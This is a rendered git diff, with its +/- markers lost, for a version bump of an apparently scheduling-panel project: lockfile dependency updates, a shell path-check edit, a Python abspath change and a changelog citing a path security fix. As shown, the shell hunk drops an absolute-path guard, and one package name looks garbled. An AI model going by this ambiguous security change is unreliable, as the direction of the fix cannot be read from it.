resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==}
|
||||
|
||||
/multer@1.4.5-lts.1:
|
||||
resolution: {integrity: sha512-ywPWvcDMeH+z9gQq5qYHCCy+ethsk4goepZ45GLD63fOu0YcNecQxi64nDs3qluZB+murG3/D4dJ7+dGctcCQQ==}
|
||||
engines: {node: '>= 6.0.0'}
|
||||
/multer@2.1.1:
|
||||
resolution: {integrity: sha512-mo+QTzKlx8R7E5ylSXxWzGoXoZbOsRMpyitcht8By2KHvMbf3tjwosZ/Mu/XYU6UuJ3VZnODIrak5ZrPiPyB6A==}
|
||||
engines: {node: '>= 10.16.0'}
|
||||
dependencies:
|
||||
append-field: 1.0.0
|
||||
busboy: 1.6.0
|
||||
concat-stream: 1.6.2
|
||||
mkdirp: 0.5.6
|
||||
object-assign: 4.1.1
|
||||
concat-stream: 2.0.0
|
||||
type-is: 1.6.18
|
||||
xtend: 4.0.2
|
||||
dev: false
|
||||
|
||||
/mz@2.7.0:
|
||||
@@ -11530,6 +11528,7 @@ packages:
|
||||
|
||||
/process-nextick-args@2.0.1:
|
||||
resolution: {integrity: sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==}
|
||||
dev: true
|
||||
|
||||
/process-okam@0.11.10:
|
||||
resolution: {integrity: sha512-p8e5nl6/OCeMalVb9dSojND5B9m/nq64WsyUfRmrTdLMKcNYcDN++/2I8WV1mTQDqrh2PQ6tIIb2A7/A38eSvw==}
|
||||
@@ -12951,6 +12950,7 @@ packages:
|
||||
safe-buffer: 5.1.2
|
||||
string_decoder: 1.1.1
|
||||
util-deprecate: 1.0.2
|
||||
dev: true
|
||||
|
||||
/readable-stream@3.6.2:
|
||||
resolution: {integrity: sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==}
|
||||
@@ -13221,6 +13221,7 @@ packages:
|
||||
|
||||
/safe-buffer@5.1.2:
|
||||
resolution: {integrity: sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==}
|
||||
dev: true
|
||||
|
||||
/safe-buffer@5.2.1:
|
||||
resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==}
|
||||
@@ -13868,6 +13869,7 @@ packages:
|
||||
resolution: {integrity: sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==}
|
||||
dependencies:
|
||||
safe-buffer: 5.1.2
|
||||
dev: true
|
||||
|
||||
/string_decoder@1.3.0:
|
||||
resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==}
|
||||
@@ -14152,6 +14154,7 @@ packages:
|
||||
/tar@6.2.1:
|
||||
resolution: {integrity: sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==}
|
||||
engines: {node: '>=10'}
|
||||
deprecated: Old versions of tar are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me
|
||||
dependencies:
|
||||
chownr: 2.0.0
|
||||
fs-minipass: 2.1.0
|
||||
@@ -15140,6 +15143,7 @@ packages:
|
||||
/xtend@4.0.2:
|
||||
resolution: {integrity: sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==}
|
||||
engines: {node: '>=0.4'}
|
||||
dev: true
|
||||
|
||||
/y18n@5.0.8:
|
||||
resolution: {integrity: sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==}
|
||||
@@ -15225,3 +15229,7 @@ packages:
|
||||
- encoding
|
||||
- supports-color
|
||||
dev: false
|
||||
|
||||
settings:
|
||||
autoInstallPeers: true
|
||||
excludeLinksFromLockfile: false
|
||||
|
||||
+1
-1
@@ -92,7 +92,7 @@ run_normal() {
|
||||
|
||||
cd $dir_scripts
|
||||
local relative_path="${file_param%/*}"
|
||||
if [[ ${file_param} != /* ]] && [[ ! -z ${relative_path} ]] && [[ ${file_param} =~ "/" ]]; then
|
||||
if [[ ! -z ${relative_path} ]] && [[ ${file_param} =~ "/" ]]; then
|
||||
cd ${relative_path}
|
||||
file_param=${file_param/$relative_path\//}
|
||||
fi
|
||||
|
||||
@@ -42,7 +42,7 @@ def run():
|
||||
os.environ["PYTHONPATH"] = prev_pythonpath
|
||||
|
||||
split_str = "__sitecustomize__"
|
||||
file_name = sys.argv[0].replace(f"{os.getenv('dir_scripts')}/", "")
|
||||
file_name = os.path.abspath(sys.argv[0]).replace(f"{os.getenv('dir_scripts')}/", "")
|
||||
|
||||
# 创建临时文件路径
|
||||
temp_file = f"/tmp/env_{os.getpid()}.json"
|
||||
|
||||
+5
-10
@@ -1,11 +1,6 @@
|
||||
version: 2.20.1
|
||||
changeLogLink: https://t.me/jiao_long/433
|
||||
publishTime: 2025-12-26 22:00
|
||||
version: 2.20.2
|
||||
changeLogLink: https://t.me/jiao_long/434
|
||||
publishTime: 2026-03-01 1800
|
||||
changeLog: |
|
||||
1. 修复获取依赖管理列表
|
||||
2. notify.js 修复 TG_PROXY_AUTH 参数拼接
|
||||
3. QLAPI.notify larkSecret 参数
|
||||
4. 修复 cron parser 定时规则校验
|
||||
5. 修复设置 baseUrl 后无法访问
|
||||
6. 修复环境变量排序
|
||||
7. 修复定时任务无法停止
|
||||
1. 修复 path 安全漏洞(重要)
|
||||
|
||||
Reference in New Issue
Block a user